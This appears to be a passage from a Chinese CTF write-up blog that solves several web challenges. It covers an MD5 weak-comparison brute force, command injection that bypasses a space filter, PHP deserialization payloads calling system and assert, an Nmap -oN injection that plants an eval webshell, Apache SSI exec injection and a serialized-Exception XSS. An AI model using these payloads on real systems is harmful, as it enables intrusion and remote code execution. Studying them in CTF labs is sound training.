num = 0x2222

第二关使得 $md5==md5($md5)成立,因为使用的是弱比较,所以容易找到这样的字符串,python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib

def md5(str):
m = hashlib.md5()
m.update(str.encode("utf8"))
#print(m.hexdigest())
return m.hexdigest()

for i in range(999999999):
md = '0e'
md = md + str(i)
md1 = md5(md)
md1 = str(md1)
print(i)
if md1[:2] == '0e' and md1[2:].isdigit():
print(md)
break

最后找到的字符串是 0e215962017,跑的时间有点长,耐心等待

第三关,过滤了空格,cat

可以用$IFS$9more或者less替换

先用ls命令查看目录

1
num=0x1234&md5=0e215962017&get_flag=ls

image-20201222232610053

读取flag,最后的payload

1
num=0x1234&md5=0e215962017&get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[NPUCTF2020]ReadlezPHP

查看源码可以看到一个time.php,直接给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

很明显是反序列化

看到

1
2
3
4
5
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}

重点是echo $b($a),本地测试一下,发现这样是可以的

image-20201223095013236

所以就序列化出一个这样的对象然后去读取文件即可

1
O:8:"HelloPhp":2:{s:1:"a";s:2:"ls";s:1:"b";s:6:"system";}

刚开始构造的payload是想着列出目录,但是发现根本列不出目录,所以flag,应该没有放在根目录,于是再尝试读取phpinfo

使用assert结合phpinfo(),原理如下

image-20201223100638809

最后的payload:

1
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在phpinfo中搜索flag即可

[网鼎杯 2020 朱雀组]Nmap

进入主页可以看到一个输入IP输入框,尝试输入127.0.0.1

结果是显示了扫描结果

image-20201223103012938

猜测后台的php代码应该是类似这样

1
system("nmap -sP".$host);

而这里使用 了system函数,所以会存在命令执行,在namp参数中 -oN 可以将扫描结果存放到指定的文件中,所以可以利用这个参数写入一句话木马

image-20201223103811846

本地测试一下

image-20201223112043439

可以看到上面的一句话木马已经写入到了1.php,那么久可以用这个方法做这题

使用下面的payload

image-20201223112236062

但是回显了hacker,直接在输入框中输入php,也是回显haceker,所以应该是过滤了php,那就换一个一句话木马

1
' -oN b.phtml <?=eval($_POST[a]);?>'

访问 /b.phtml,发现是可以访问的,所以蚁剑链接,拿到flag

[BJDCTF2020]EasySearch

扫描目录可以发现网页备份文件index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
?>

代码审计

1.第一个函数,是生成文件名,最后使用一个sha1函数,让文件名固定为32位

2.之后的第一个if语句的判断,username值不能位空

3.第二个password的md5值前六位等于 “6d0bc1”

4.之后的利用生成文件名的函数,生成一个文件(shtml),并打开文件向其中写入$text

5.其中的username的值被带入$text中,所以这里存在注入

Apache SSI 远程命令执行漏洞

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd="id"-->语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

1.绕过第一个if语句

1
$admin == substr(md5($_POST['password']),0,6)

利用脚本找到两个

1
2
51302775
2020666

2.在network中找到生成的文件

image-20201230090520608

image-20201230090618525

3.命令注入

首先列出目录

1
<!--#exec cmd="ls ../"-->

可以看到flag_990c66bf85a09c664f0b6741840499b2,直接访问,即可拿到flag

[BJDCTF 2nd]xss之光

扫描目录发现 /.git文件,git源码泄露,githack下载源码

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

源码很简单,就是get提交一个参数后,进行反序列化,但是没有给出序列化过程,不知道类的结构

php原生类利用

1
2
3
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

序列化后的内容为

1
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

提交可以发现弹出了提示,说明构造成功了

image-20201230095717756

但是并没有出现flag

结合题目提示构造xss

1
2
3
<?php
$a = new Exception("<script>window.location.href='https://www.baidu.com'</script>");
echo urlencode(serialize($a));

payload:

1
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A61%3A%22%3Cscript%3Ewindow.location.href%3D%27https%3A%2F%2Fwww.baidu.com%27%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A43%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Ctest%5Ccumt11.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

提交后就在响应头中出现flag

image-20201230100514805